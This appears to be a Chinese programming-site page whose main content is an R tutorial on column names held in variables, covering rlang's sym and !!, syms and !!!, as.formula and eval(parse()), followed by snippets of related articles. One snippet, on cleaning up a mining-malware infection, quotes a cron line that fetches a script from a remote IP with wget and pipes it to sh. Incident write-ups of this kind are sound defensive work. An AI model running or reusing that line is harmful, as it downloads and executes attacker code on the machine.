直接写和放在函数中不同的R语言用法

索引数据框中的某一列

df$A可以索引数据框df中列名为A的列的所有值。那么假如列名是一个R对象怎么做?

df <- data.frame(A=1:5, B=(1:5)*2)df$A## [1] 1 2 3 4 5needed_column = 'A'# df$needed_column ? Wrong# 注意是双方括号
df[[needed_column]]## [1] 1 2 3 4 5

ggplot2绘图中指定所需的列信息

ggplot绘图时,可以直接提供列名字(如下面的A和B分别指定为x轴和y轴)指定绘图属性,但如果列名字是一个R对象呢?这一情况常发生于自定义函数时。

library(ggplot2)ggplot(data=df, aes(x=A, y=B)) + geom_point()

如下:就需要使用sym和!!了,都来源于rlang包。

1、sym把一个R字符串对象转换为一个symbol。
2、(bang-bang操作符)!!则把symbol再转回R字符串对象,等同于直接写这个对象。

看新的例子中,xvariable=“A”;xvariable_en <- sym(xvariable)转换为了symbol;aes(x=!!xvariable_en)等同于直接写aes(x=A)。兜兜转转,2步转换把想传的值传进去了。

注意sym和!!的使用

#
ggplot_points <- function(data, xvariable, yvariable){xvariable_en <- sym(xvariable)yvariable_en <- sym(yvariable)ggplot(data, aes(x=!!xvariable_en, y=!!yvariable_en)) +geom_point()
}ggplot_points(df, "A", "B")

另外还有syms和!!!,则可以转换向量、列表对象。

library(dplyr)
df %>% select(A,B)##   A  B
## 1 1  2
## 2 2  4
## 3 3  6
## 4 4  8
## 5 5 10# 等同于
columns <- c("A","B")
columns_en <- syms(columns)
df %>% select(!!!columns_en)##   A  B
## 1 1  2
## 2 2  4
## 3 3  6
## 4 4  8
## 5 5 10

写个公式 (formula)

公式 (formula)是一个在运算和绘图中常用的形式,直接写公式A~B可以,但如果是用对象构造公式呢?

lm(A~B, data=df)## 
## Call:
## lm(formula = A ~ B, data = df)
## 
## Coefficients:
## (Intercept)            B  
##   1.192e-15    5.000e-01

通过as.formula转换

y = 'A'
z = 'B'formula1 <- as.formula(paste(y,"~", z))
lm(formula1, data=df)## 
## Call:
## lm(formula = formula1, data = df)
## 
## Coefficients:
## (Intercept)            B  
##   1.192e-15    5.000e-01

当然下面这个“神奇”的写法也可以,整个表达式构建一个字符串,再解析执行出来。

eval(parse(text=paste("lm(", y, "~", z, ", data=df)")))## 
## Call:
## lm(formula = A ~ B, data = df)
## 
## Coefficients:
## (Intercept)            B  
##   1.192e-15    5.000e-01

P1 R基本语法和使用方式01

P2 R基本语法和使用方式02

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/23291.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

微信小程序bindgetphonenumber获取手机号阻止冒泡触发

问题&#xff1a;点击手机号弹出微信的手机号验证组件&#xff0c;这是可以的。但是我点击车牌号&#xff0c;也弹出来了&#xff0c;这就郁闷了。 以下是解决方法 点击手机号时&#xff0c;弹出选择手机号 解决&#xff1a; <view style"display: flex;justify-conte…

Pandas处理时间差的4种表达方式

在Pandas中处理时间差&#xff08;timedelta&#xff09;时&#xff0c;有多种方式可以表达时间差。以下是总结的Pandas时间差的四种主要表达方式和相关信息&#xff1a; 目录 一、使用pd.Timedelta直接创建 二、使用DataFrame中计算时间差 三、转换为分钟数表示 四、使用…

pdf处理命令合集

安装weasyprint用于生成pdf 单个文件合成多个pdf linux - Merge / convert multiple PDF files into one PDF - Stack Overflow

除了诺贝尔奖的红利,Pasqal 还有哪些实力?

内容来源&#xff1a;量子前哨&#xff08;ID&#xff1a;Qforepost&#xff09; 文丨浪味仙 排版丨沛贤 深度好文&#xff1a;3700字丨13分钟阅读 摘要&#xff1a;与超导量子比特相比&#xff0c;中性原子量子技术的投资成本相对较低、中性原子量子比特无需布线、还能将单…

【YashanDB知识库】outline固化执行计划

【问题分类】性能优化&#xff0c;功能使用 【关键字】outline 【问题描述】防止SQL执行计划突变&#xff0c;用outline固化执行计划 【问题原因分析】防止SQL执行计划突变&#xff0c;用outline固化执行计划 【解决/规避方法】 SQL--创建测试outline&#xff1a;ol_ab/ol…

查看Linux端口占用和开启端口命令

查看端口的使用的情况 lsof 命令 比如查看80端口的使用的情况 lsof -i tcp:80列出所有的端口 netstat -ntlp查看端口的状态 /etc/init.d/iptables status开启端口以开启端口80为例。 1 用命令开启端口 iptables -I INPUT -p tcp --dport 80 -j accpet --写入要开放的端口/…

23 - 每位教师所教授的科目种类的数量(高频 SQL 50 题基础版)

23 - 每位教师所教授的科目种类的数量 考点&#xff1a; 排序和分组 selectteacher_id,count(distinct subject_id) cnt fromTeacher group byteacher_id;

使用python把gif转为图片

使用python把gif转为图片 程序思路效果代码 程序思路 打开 GIF 文件。确保输出文件夹存在&#xff0c;如果不存在则创建。获取 GIF 的帧数。遍历每一帧&#xff0c;将其保存为单独的 PNG 图像&#xff0c;并打印保存路径。 效果 把这张派大星gif转为一张张图片&#xff1a; …

如何搭建一台永久运行的个人服务器?

一、前言 由于本人在这段时候&#xff0c;看到了一个叫做树莓派的东东&#xff0c;初步了解之后觉得很有意思&#xff0c;于是想把整个过程记录下来。 二、树莓派是什么&#xff1f; Raspberry Pi(中文名为树莓派,简写为RPi&#xff0c;(或者RasPi / RPI) 是为学习计算机编程…

kafka学习笔记 @by_TWJ

目录 1. 消息重复消费怎么解决1.1. 确保相同的消息不会被重复发送(消费幂等性)1.2. 消息去重1.3. 消息重试机制1.4. kafka怎么保证消息的顺序性1.4.1. 利用分区的特征&#xff1a;1.4.2. 解决办法&#xff1a;1.4.3. 分区分配策略1.4.3.1. RangeAssignor &#xff08;每组(Topi…

一次挖矿病毒的排查过程

目录 一、查看定时任务二、处理方法 一、查看定时任务 # crontab -l * * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1 0 */1 * * * /usr/local/nginx/sbin/nginx -s reload发现异常任务&#xff1a; * * * * * wget -q -O - http://1…

用python写一个集卡模拟器

超市最近在筹备一款水浒主题的卡牌类游戏&#xff0c;将绿林好汉设计成游戏中的一百零八张卡牌&#xff0c;卡牌共有 SSR、SR、R 三种稀有度。 你能编写程序&#xff0c;让玩家有 1% 的几率抽中 SSR 卡、9% 几率抽中 SR 卡、90% 几率抽中 R 卡吗&#xff1f; 数据说明 卡牌数…

【PLG洞察】| 飞书成功之路:关键在分销裂变

引言 随着企业服务市场的发展&#xff0c;Product-Led Growth&#xff08;PLG&#xff0c;产品驱动增长&#xff09;模式逐渐成为众多SaaS企业的首选战略。在这个背景下&#xff0c;字节跳动旗下的企业协作与管理平台——飞书&#xff0c;凭借其独特的分销裂变策略&#xff0c…

【YOLOV8】2.目标检测-训练自己的数据集

Yolo8出来一段时间了,包含了目标检测、实例分割、人体姿态预测、旋转目标检测、图像分类等功能,所以想花点时间总结记录一下这几个功能的使用方法和自定义数据集需要注意的一些问题,本篇是第二篇,目标检测功能,自定义数据集的训练。 YOLO(You Only Look Once)是一种流行的…

【原创】springboot+mysql村务档案管理系统设计与实现

个人主页&#xff1a;程序猿小小杨 个人简介&#xff1a;从事开发多年&#xff0c;Java、Php、Python、前端开发均有涉猎 博客内容&#xff1a;Java项目实战、项目演示、技术分享 文末有作者名片&#xff0c;希望和大家一起共同进步&#xff0c;你只管努力&#xff0c;剩下的交…

快速搭建sentence_transformer方法

sentence transformer模型可以将句子进行Embedding。这里使用docker快速构建一个sentence transformer环境&#xff0c;小试牛刀。 准备镜像 这里Docker的安装就不介绍了&#xff0c;我们使用Dockerfile来构建我们的镜像&#xff0c;Dockerfile内容如下&#xff1a; FROM py…

pytorch——猫狗识别

猫狗识别 训练模型导入需要的包数据加载数据预处理加载数据集并返回对应的图像和标签提取标签信息创建训练和测试的数据加载器图像分类CNN的卷积神经网络模型MYVGG的卷积神经网络模型AlexNet的卷积神经网络模型 训练过程测试过程定义了一个主函数 测试模型导入需要的库加载之前…

无线模块应用晶振SG5032VAN

随着物联网&#xff08;IoT&#xff09;和无线通信技术的迅速发展&#xff0c;无线模块已经成为各种智能设备的重要组成部分。在无线模块中&#xff0c;选择高性能的时钟源对于确保系统的稳定性和可靠性至关重要。爱普生SG5032VAN是一款LVDS差分晶振&#xff0c;作为一款高性能…

WINUI——Behavior(行为)小结

前言 在使用MVVM进行WINUI或WPF开发时&#xff0c;Command在某些时候并不能满足逻辑与UI分离的要求。这时肯定就需要其它技术的支持&#xff0c;Behavior就是一种。在WPF中是有Behavior直接支持的&#xff0c;转到WINUI后&#xff0c;相对有一些麻烦&#xff0c;于是在此记录之…

Enscape 4.1.0 软件安装教程+离线资源库

软件介绍 Enscape 是专门为建筑、规划、景观及室内设计师打造的渲染产品&#xff0c;无需导入导出文件&#xff0c;在常用的软件内部即可看到逼真的渲染效果。 你无需了解记忆各种参数的用法&#xff0c;一切都是傻瓜式的一键渲染&#xff0c;你可以把精力更多地投入到设计中…